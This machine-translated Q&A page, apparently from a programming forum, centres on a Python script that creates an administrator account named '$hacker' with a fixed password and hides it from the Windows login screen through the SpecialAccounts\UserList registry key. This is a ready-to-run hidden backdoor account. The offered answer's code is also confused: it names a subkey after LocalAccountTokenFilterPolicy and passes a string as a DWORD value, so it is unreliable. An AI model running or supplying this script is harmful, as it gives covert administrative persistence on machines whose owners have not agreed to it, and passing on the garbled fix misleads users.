簡體   English   中英

用 Python 創建一個新的 DWORD

[英]Creating a new DWORD with Python

大家好,我正在嘗試自學比我的大學更多的 python,我正在嘗試將 python 文件創建到我創建過一次的 bash 文件中。 bash 文件應該在名為 $hacker 的“網絡用戶”上打開一個新用戶,然后將其隱藏在注冊表中。 嘗試效果很好,當一切都完成時,我得到了我詢問的所有打印件,但由於某種原因,DWORD 沒有創建(還有兩個鍵)希望有人知道我做錯了什么!

import os 
import sys 
import winreg as w

os.system("net users $hacker Aa123456 /add")
os.system("net groups Administrators $hacker /add")

try:
    key = w.CreateKey(w.HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\SpecialAccounts\\UserList")
    print("/SpecialAccount/UserList Was succesfully created !")
    w.SetValueEx(key,'$hacker',0,w.REG_DWORD, 0)
    print("DWORD was succesfully created !")
except:
    print("Sorry there was a problem finishing the changes.")
    print("Please try again.")
    quit()

試試下面

import winreg as wreg

try:
    key = wreg.CreateKey(wreg.HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\SpecialAccounts\\UserList")
    wreg.SetValue(key, 'NewSubkey', wreg.REG_SZ, 'LocalAccountTokenFilterPolicy')
    wreg.SetValueEx(key, 'ValueName', 0, wreg.REG_DWORD, '0x00000001')
    key.Close()
    print("DWORD was succesfully created !")
except:
    print("Sorry there was a problem finishing the changes.")
    print("Please try again.")
    quit() 

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM